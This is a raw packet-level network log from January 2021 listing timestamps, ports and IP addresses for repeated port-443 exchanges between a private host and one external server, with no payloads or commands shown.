Jan 25, 2021 21:13:18.044835091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.122736931 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.122769117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.122792006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.122814894 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.122843027 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.122844934 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.122859955 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.122883081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.122899055 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.122931004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.122951984 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.122989893 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.123831034 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.123887062 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.242106915 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.447937965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.453480005 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.453632116 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.455729008 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.700594902 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.776722908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.776783943 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.776825905 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.776854038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.776885033 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.776918888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.776961088 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.776978970 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.777018070 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.777043104 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.777093887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.778798103 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:18.781315088 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:18.882402897 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.086998940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.092062950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.092170000 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.093055964 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.337529898 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.423897982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.423918962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.423929930 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.423942089 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.423953056 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.423979998 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.424021006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.424081087 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.424240112 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.427206039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.427280903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.537898064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.744906902 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.749495983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:19.749630928 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:19.751092911 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.000607014 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.084517002 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.084594965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.084614038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.084656000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.084676027 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.084717035 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.084727049 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.084784031 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.084800005 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.084836006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.084866047 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.084908962 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.086400986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.086488008 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.194106102 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.398425102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.403520107 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.403605938 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.404747009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.651892900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.731611013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.731666088 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.731704950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.731743097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.731790066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.731832027 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.731848955 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.731885910 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.731892109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.731929064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.735745907 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:20.738754034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:20.850449085 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.054867983 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.060154915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.060275078 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.060980082 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.305006981 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.383215904 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.383272886 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.383310080 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.383358955 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.383394957 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.383439064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.383438110 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.383496046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.383682966 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.384562969 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.385724068 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.749335051 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.960632086 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.964055061 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:21.964196920 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:21.964975119 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.214140892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.292640924 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.292695999 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.292733908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.292769909 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.292772055 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.292804003 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.292814970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.292859077 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.292864084 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.292891979 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.292923927 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.295141935 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.295238018 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.446316957 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.653173923 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.657749891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.657841921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.658576965 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.903191090 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.981153965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.981209040 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.981246948 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.981285095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.981290102 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.981321096 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.981323004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.981348038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.981374025 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.981396914 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.981440067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:22.983103991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:22.983196020 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.103849888 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.309684992 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.313848972 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.314357996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.315066099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.562705040 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.646032095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.646091938 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.646131039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.646167994 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.646173000 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.646207094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.646214008 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.646258116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.646342993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.646356106 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.648732901 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.648926973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.757534981 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.962023020 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.967437029 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:23.967533112 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:23.968966007 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.217550993 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.296097994 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.296158075 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.296181917 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.296195984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.296235085 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.296236038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.296248913 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.296276093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.296324015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.296327114 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.296380043 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.298222065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.298377991 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.413775921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.620107889 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.625430107 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.625588894 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.627486944 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.873682022 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.962095976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.962136984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.962204933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.962249994 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.962270021 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.962301016 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.962346077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.962353945 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.962447882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:24.964263916 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:24.964397907 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.070147038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.276340008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.280287027 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.280492067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.282339096 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.527219057 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.602953911 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.602996111 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.603038073 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.603066921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.603096962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.603135109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.603137970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.603187084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.603843927 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.604512930 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.604707003 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.717434883 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.924276114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.928210974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:25.928670883 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:25.930037975 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.174909115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.266763926 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.266823053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.266854048 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.266870975 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.266885996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.266915083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.266922951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.266952991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.266966105 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.266992092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.267008066 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.267043114 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.268944025 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.269007921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.382472038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.588934898 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.593238115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.593312025 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.594094038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.838068962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.919622898 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.919653893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.919666052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.919677973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.919697046 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.919713020 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.919795990 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.919889927 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:26.921694994 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:26.921818018 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.038639069 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.243366957 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.250806093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.250874043 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.251882076 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.502051115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.594151974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.594178915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.594191074 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.594331980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.594516993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.594595909 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.594609022 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.594613075 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.594713926 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.595931053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.596034050 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.711736917 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.916224957 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.921336889 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:27.921483040 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:27.922323942 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.168423891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.249452114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.249473095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.249511003 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.249530077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.249547005 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.249567032 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.249648094 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.249703884 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.252298117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.252386093 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.367383003 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.573946953 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.577778101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.578016996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.579590082 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.839904070 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.907964945 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.908025980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.908044100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.908086061 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.908127069 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.908142090 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.908143044 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.908189058 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.908202887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.908257008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.908263922 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.908314943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:28.910415888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:28.910490036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.023156881 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.227670908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.232754946 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.232872009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.233994007 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.478740931 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.565725088 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.565818071 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.565867901 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.565901041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.565900087 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.565928936 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.565931082 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.565938950 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.565958023 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.565978050 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.565984964 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.566037893 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.567410946 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.567506075 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.679413080 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.886735916 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.890141964 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:29.890424967 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:29.891691923 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.142019987 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.221925974 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.221999884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.222038031 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.222062111 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.222074986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.222098112 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.222111940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.222162008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:13:30.222172022 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:13:30.222253084 CET	49745	443	192.168.2.4	162.0.209.179
